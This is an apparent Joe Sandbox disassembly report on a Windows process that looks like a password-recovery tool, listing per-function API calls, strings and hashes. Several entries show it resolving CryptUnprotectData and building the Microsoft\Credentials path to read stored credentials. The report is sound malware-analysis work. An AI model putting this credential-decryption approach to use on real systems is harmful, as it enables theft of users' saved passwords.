Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memset$PrivateProfileStringTextWindow_mbscpysprintf
String ID: caption$dialog_%d
API String ID: 336690586-4161923789
Opcode ID: ac7cc4696a89eb1cba6d083646845e466a8c7c1c47553c4c710892c2a750e08b
Instruction ID: e676f763466c337fa742e808a0462136ccf328752376158856b18cf97ff1e9ac
Opcode Fuzzy Hash: ac7cc4696a89eb1cba6d083646845e466a8c7c1c47553c4c710892c2a750e08b
Instruction Fuzzy Hash: DDF0BB709442497AEB12E7A5CD06FC93A6C6B08745F0040B2BB44F51D1D7F8A9E48B5F

Function 004054EC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 004054FC
sprintf.MSVCRT ref: 00405524
MessageBoxA.USER32(?,?,Error,00000030), ref: 0040553D

Strings

Error, xrefs: 0040552E
Error %d: %s, xrefs: 0040551E

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ErrorLastMessagesprintf
String ID: Error$Error %d: %s
API String ID: 1670431679-1552265934
Opcode ID: 841bd09bb5ef585932fac9cdc1f85acd03c61bd054173f3906aa32b2af69f6f6
Instruction ID: 77d8efe28dd78b6f0643021b09889a2d3b867daaa4c0b42a6eec78336504f6ab
Opcode Fuzzy Hash: 841bd09bb5ef585932fac9cdc1f85acd03c61bd054173f3906aa32b2af69f6f6
Instruction Fuzzy Hash: D5F0A7F64001186BDB20A656DC05F9676BCEB40344F140476FA05F21C0EA74DA158F59

Function 0040329E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(crypt32.dll,004032F8,Microsoft_WinInet,004066B9,?,?,?,?,00000000), ref: 004032AC
GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 004032BE
FreeLibrary.KERNEL32(00000000), ref: 004032E3

Strings

crypt32.dll, xrefs: 004032A7
CryptUnprotectData, xrefs: 004032B8

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptUnprotectData$crypt32.dll
API String ID: 145871493-1827663648
Opcode ID: bf59056d1eee5cbda9ce93750894b4eac22a5dcb94889e471285fb9aaac960fc
Instruction ID: c01f5e3405d155f9615ee7ba2b3405c7219808126caa219960ebcac386442010
Opcode Fuzzy Hash: bf59056d1eee5cbda9ce93750894b4eac22a5dcb94889e471285fb9aaac960fc
Instruction Fuzzy Hash: 94F09870640711CBEB249F66CA49753BAECAB00707F10CC7DE49AE66D0D7B9D550CB18

Function 00403923 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 125stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040393E
_snprintf.MSVCRT ref: 004039A5

Part of subcall function 0040639C: strlen.MSVCRT ref: 004063C3
Part of subcall function 0040639C: strlen.MSVCRT ref: 004063D0

Part of subcall function 004063F9: FindFirstFileA.KERNELBASE(00000103,00000247,?,?,00402B17,?,?,?,?), ref: 0040640F
Part of subcall function 004063F9: strlen.MSVCRT ref: 0040645D
Part of subcall function 004063F9: strlen.MSVCRT ref: 00406465

strlen.MSVCRT ref: 004039F2
strlen.MSVCRT ref: 004039FD

Part of subcall function 004056DE: strlen.MSVCRT ref: 004056E3
Part of subcall function 004056DE: memcpy.MSVCRT(?,?,00000000,?,00401F7D,?), ref: 004056F8

Strings

%8.8X-%4.4X-%4.4X-%2.2X%2.2X-%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X, xrefs: 0040399D

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: strlen$FileFindFirst_snprintfmemcpymemset
String ID: %8.8X-%4.4X-%4.4X-%2.2X%2.2X-%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X
API String ID: 3610737902-4003780816
Opcode ID: 5938a84a3a5096475608d5aad8b60bcbdd3638d88dcc76a6290295a6f1b42c4b
Instruction ID: 38ea13b14110fb611f5d2deffdce458bca4dc30c850e1321a484ceb1a5631d69
Opcode Fuzzy Hash: 5938a84a3a5096475608d5aad8b60bcbdd3638d88dcc76a6290295a6f1b42c4b
Instruction Fuzzy Hash: 9241A1B1A001599BCB04DAA9CC419FF77AC9B44315F40016AF846F71C1E678AA85CB69

Function 00408211 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 004081AB: ??3@YAXPAX@Z.MSVCRT(?,?,?,004083D6), ref: 004081B7
Part of subcall function 004081AB: ??3@YAXPAX@Z.MSVCRT(?,?,?,004083D6), ref: 004081C5
Part of subcall function 004081AB: ??3@YAXPAX@Z.MSVCRT(?,?,?,004083D6), ref: 004081D6
Part of subcall function 004081AB: ??3@YAXPAX@Z.MSVCRT(?,?,?,004083D6), ref: 004081ED
Part of subcall function 004081AB: ??3@YAXPAX@Z.MSVCRT(?,?,?,004083D6), ref: 004081F6

??3@YAXPAX@Z.MSVCRT(?,?,0040B968,?,00000000,00000000), ref: 0040822C
??3@YAXPAX@Z.MSVCRT(?,?,0040B968,?,00000000,00000000), ref: 0040823F
??3@YAXPAX@Z.MSVCRT(?,?,0040B968,?,00000000,00000000), ref: 00408252
??3@YAXPAX@Z.MSVCRT(?,?,0040B968,?,00000000,00000000), ref: 00408265
free.MSVCRT ref: 0040829E

Part of subcall function 004060D5: free.MSVCRT ref: 004060DC

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ??3@$free
String ID:
API String ID: 2241099983-0
Opcode ID: d40dc89c096fa528deae5bf6a4c41c3a11779ecb420b88136e724b5d073612da
Instruction ID: 0033a09393801e04a52900815f5e32bdd2be366de1ac8b2c487ed1914441202d
Opcode Fuzzy Hash: d40dc89c096fa528deae5bf6a4c41c3a11779ecb420b88136e724b5d073612da
Instruction Fuzzy Hash: BF01E532E01D305BC626BB6AA90541FB394AF8672030682BFF886773C18F3C6C4246DD

Function 00409175 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 004054A8: strlen.MSVCRT ref: 004054B5
Part of subcall function 004054A8: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040918C,?,<item>), ref: 004054C2

memset.MSVCRT ref: 004091AB

Part of subcall function 0040D0C2: memcpy.MSVCRT(?,<,00000004,?,?,00000000,004091CC,?,?), ref: 0040D130

Part of subcall function 00408C16: _mbscpy.MSVCRT(00000000,?,004091E1,?,?,?), ref: 00408C1B
Part of subcall function 00408C16: _strlwr.MSVCRT ref: 00408C5E

sprintf.MSVCRT ref: 004091F0

Strings

</item>, xrefs: 0040920A
<item>, xrefs: 0040917F
<%s>%s</%s>, xrefs: 004091E8

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: FileWrite_mbscpy_strlwrmemcpymemsetsprintfstrlen
String ID: <%s>%s</%s>$</item>$<item>
API String ID: 3337535707-2769808009
Opcode ID: 8e9a29ac9f4a23b6f82cdd24553fda3ede00e5e2678d7fcfdccf6d3a88681ffd
Instruction ID: 92280242408d335295641b7a7e4fe2c562f8bd416bcfcaf38d4b260d20b3f19f
Opcode Fuzzy Hash: 8e9a29ac9f4a23b6f82cdd24553fda3ede00e5e2678d7fcfdccf6d3a88681ffd
Instruction Fuzzy Hash: 5D11E33190061ABFDB11AF55CC42F997B64FF08328F10007AF808765E2C779B9A0DB98

Function 00407827 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00407839
GetWindowRect.USER32(?,?), ref: 00407846
GetClientRect.USER32(00000000,?), ref: 00407851
MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 00407861
SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 0040787D

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Window$Rect$ClientParentPoints
String ID:
API String ID: 4247780290-0
Opcode ID: 8340e04b85906bd98d07a4f2b488c610fe3b5b94f9825e5ac61aef3b622d6b89
Instruction ID: 0af8d93023ce6edc03cfe1a7952551e03fdd8b742c1bc2359a0d55ce5666e187
Opcode Fuzzy Hash: 8340e04b85906bd98d07a4f2b488c610fe3b5b94f9825e5ac61aef3b622d6b89
Instruction Fuzzy Hash: CA012D32801129ABDB11ABA69D4DEFFBFBCEF06754F044529F915B2140D7389501CBA5

Function 00409470 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00409493
memset.MSVCRT ref: 004094A9

Part of subcall function 004054A8: strlen.MSVCRT ref: 004054B5
Part of subcall function 004054A8: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040918C,?,<item>), ref: 004054C2

Part of subcall function 00408C16: _mbscpy.MSVCRT(00000000,?,004091E1,?,?,?), ref: 00408C1B
Part of subcall function 00408C16: _strlwr.MSVCRT ref: 00408C5E

sprintf.MSVCRT ref: 004094E0

Strings

<?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 004094AE
<%s>, xrefs: 004094DA

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memset$FileWrite_mbscpy_strlwrsprintfstrlen
String ID: <%s>$<?xml version="1.0" encoding="ISO-8859-1" ?>
API String ID: 3699762281-1998499579
Opcode ID: 6e654cf32214f9afde9f8d02956914338a5825c5c9d3e120d1f05758333a65fd
Instruction ID: f6ae4f78776c0d50e5f732e7396b25190cc3ca3b33437b2577dc2bf549dc7d25
Opcode Fuzzy Hash: 6e654cf32214f9afde9f8d02956914338a5825c5c9d3e120d1f05758333a65fd
Instruction Fuzzy Hash: 2B01A7B290011967DB20A655CC46FDB7A7CDF54315F0400BAB509F31C2DB789A948BB5

Function 004081AB Relevance: 7.5, APIs: 5, Instructions: 41COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,004083D6), ref: 004081B7
??3@YAXPAX@Z.MSVCRT(?,?,?,004083D6), ref: 004081C5
??3@YAXPAX@Z.MSVCRT(?,?,?,004083D6), ref: 004081D6
??3@YAXPAX@Z.MSVCRT(?,?,?,004083D6), ref: 004081ED
??3@YAXPAX@Z.MSVCRT(?,?,?,004083D6), ref: 004081F6

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: e6acfa7396b52a114121f7a4b8c1391fec31caade5ddf845c65d966cde2c90b6
Instruction ID: 30514a08b015e64f468dc56151b9c8415313b9cb726f4dfed3d47dcf498ace6e
Opcode Fuzzy Hash: e6acfa7396b52a114121f7a4b8c1391fec31caade5ddf845c65d966cde2c90b6
Instruction Fuzzy Hash: CDF04FB2A047014BD7209FAE99C085BB3D9BF0A314760883FF0C9E7691CB38F8854A1C

Function 00404D4B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

BeginDeferWindowPos.USER32(00000004), ref: 00404D5F

Part of subcall function 004015EF: GetDlgItem.USER32(?,?), ref: 004015FF
Part of subcall function 004015EF: GetClientRect.USER32(?,?), ref: 00401611
Part of subcall function 004015EF: DeferWindowPos.USER32(?,?,00000000,?,?,?,?,00000004), ref: 0040167B

EndDeferWindowPos.USER32(00000000), ref: 00404DAD
InvalidateRect.USER32(?,?,00000001), ref: 00404DB8

Strings

$, xrefs: 00404DD4

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: DeferWindow$Rect$BeginClientInvalidateItem
String ID: $
API String ID: 2498372239-3993045852
Opcode ID: 715fc5b0b7331e490694d994f071c2009a6bcabda0f169ec3166fcfd20ad611d
Instruction ID: 0d0d544e0b6c92358beb98dd67f43578e8bfaef22e056f663664e6f497536415
Opcode Fuzzy Hash: 715fc5b0b7331e490694d994f071c2009a6bcabda0f169ec3166fcfd20ad611d
Instruction Fuzzy Hash: 15119BB0640218BFE7156F55CCC5F6F766CDF91B99F10403BF6057A1E0C6749E0186A9

Function 00407A13 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407A37
GetPrivateProfileStringA.KERNEL32(004121F8,0000000A,0040E470,?,00001000,004120F0), ref: 00407A59
_mbscpy.MSVCRT(?,?), ref: 00407A73

Strings

<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>, xrefs: 00407A20

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: PrivateProfileString_mbscpymemset
String ID: <html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>
API String ID: 408644273-3424043681
Opcode ID: 50f65c9c75391e1ee23d2ad7ec9f945dc9bd406b076fe35e90e64b3f3f723888
Instruction ID: d2185ea61b782a82967e3816b37e7080ad77801d9a3ce128af9e194d45c68cec
Opcode Fuzzy Hash: 50f65c9c75391e1ee23d2ad7ec9f945dc9bd406b076fe35e90e64b3f3f723888
Instruction Fuzzy Hash: E1F0E9729041A87BDB239794DC01FCA779C9B08305F1040B6B789F10C0D6F8AEC48BAD

Function 00401085 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0040579F: memset.MSVCRT ref: 004057A9
Part of subcall function 0040579F: _mbscpy.MSVCRT(?,?,?,00000000,0000003C,?,?,0040109D,MS Sans Serif,0000000A,00000001), ref: 004057E9

CreateFontIndirectA.GDI32(?), ref: 004010A4
SendDlgItemMessageA.USER32(?,000003EC,00000030,00000000,00000000), ref: 004010C3
SendDlgItemMessageA.USER32(?,000003EE,00000030,?,00000000), ref: 004010E0

Strings

MS Sans Serif, xrefs: 00401090

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ItemMessageSend$CreateFontIndirect_mbscpymemset
String ID: MS Sans Serif
API String ID: 3492281209-168460110
Opcode ID: de1f4aa0b43da6159be95dbce1760fa1eb4319b3e27b373a6c962ee0d067ba13
Instruction ID: fff5adc68d9bba56841c83886f3a61a5973af893ea5221fedb052cbc4926c7a1
Opcode Fuzzy Hash: de1f4aa0b43da6159be95dbce1760fa1eb4319b3e27b373a6c962ee0d067ba13
Instruction Fuzzy Hash: 82F0A775A40304B7E72267A1DD4BF4A7BACAB40B00F108535F661B91F2D6F46514CB59

Function 0040593C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040595C
GetClassNameA.USER32(?,00000000,000000FF), ref: 0040596F
_strcmpi.MSVCRT ref: 00405981

Strings

edit, xrefs: 0040597B

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ClassName_strcmpimemset
String ID: edit
API String ID: 275601554-2167791130
Opcode ID: e407a713191406d9c0c3c55480dd094b490590bba3a80008235b6a85753bc709
Instruction ID: 222c5e45a5ad01b59d3a404b3fc84ac9812acc6f498e24d232171e3b7a5840fc
Opcode Fuzzy Hash: e407a713191406d9c0c3c55480dd094b490590bba3a80008235b6a85753bc709
Instruction Fuzzy Hash: 10E09BB3C4412E6ADB25A6A4DC01FE5376CDF14305F0401B6F949F10C1E5B4A6884795

Function 00405CE2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00405CE5
strlen.MSVCRT ref: 00405CF2
_mbscat.MSVCRT ref: 00405D06

Strings

Microsoft\Credentials, xrefs: 00405CEA, 00405CEF, 00405D04

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: strlen$_mbscat
String ID: Microsoft\Credentials
API String ID: 3951308622-3148402405
Opcode ID: 89e218f53934e3a49db4fc65d04970d3dbd2527a65af051a0b9feb1739d9749b
Instruction ID: 05e85e3a1237bcdb536053856754acaa178e34bce0c20ab88a5daf693b674428
Opcode Fuzzy Hash: 89e218f53934e3a49db4fc65d04970d3dbd2527a65af051a0b9feb1739d9749b
Instruction Fuzzy Hash: A8D09EB3D0952016E61531677C8A95B8ADCC9E277C325157FF404B71C1E87D988641BD

Function 0040CEC5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(shell32.dll,0040CF03), ref: 0040CED3
GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathA), ref: 0040CEE8

Strings

shell32.dll, xrefs: 0040CECE
SHGetSpecialFolderPathA, xrefs: 0040CEE2

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetSpecialFolderPathA$shell32.dll
API String ID: 2574300362-543337301
Opcode ID: e48987c715c5e532cf4409d5839baa7e7cfb35eb4a8deaba8e93e326759bab4d
Instruction ID: e58cfcfb905dacea4eb30ad829829929964992e20368f8c1a33815eb627db913
Opcode Fuzzy Hash: e48987c715c5e532cf4409d5839baa7e7cfb35eb4a8deaba8e93e326759bab4d
Instruction Fuzzy Hash: 12D092746402429BD7209F22EE497423AA4A700701F1085BAA044F16A0DAB8906A9F5C

Function 0040354C Relevance: 6.3, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

Part of subcall function 00403391: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,0040382E,?,00403D84,?,?,?,?,?,?,?,?), ref: 004033A1

memset.MSVCRT ref: 00403581
memset.MSVCRT ref: 00403595
memset.MSVCRT ref: 004035A9
memcpy.MSVCRT(?,?,00000014,?,00000000,000000FF,?,00000000,000000FF,?,00000000,000000FF,?,?,00000000), ref: 004035B9
memcpy.MSVCRT(?,?,00000014,?,?,00000014,?,00000000,000000FF,?,00000000,000000FF,?,00000000,000000FF,?), ref: 004035C9

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

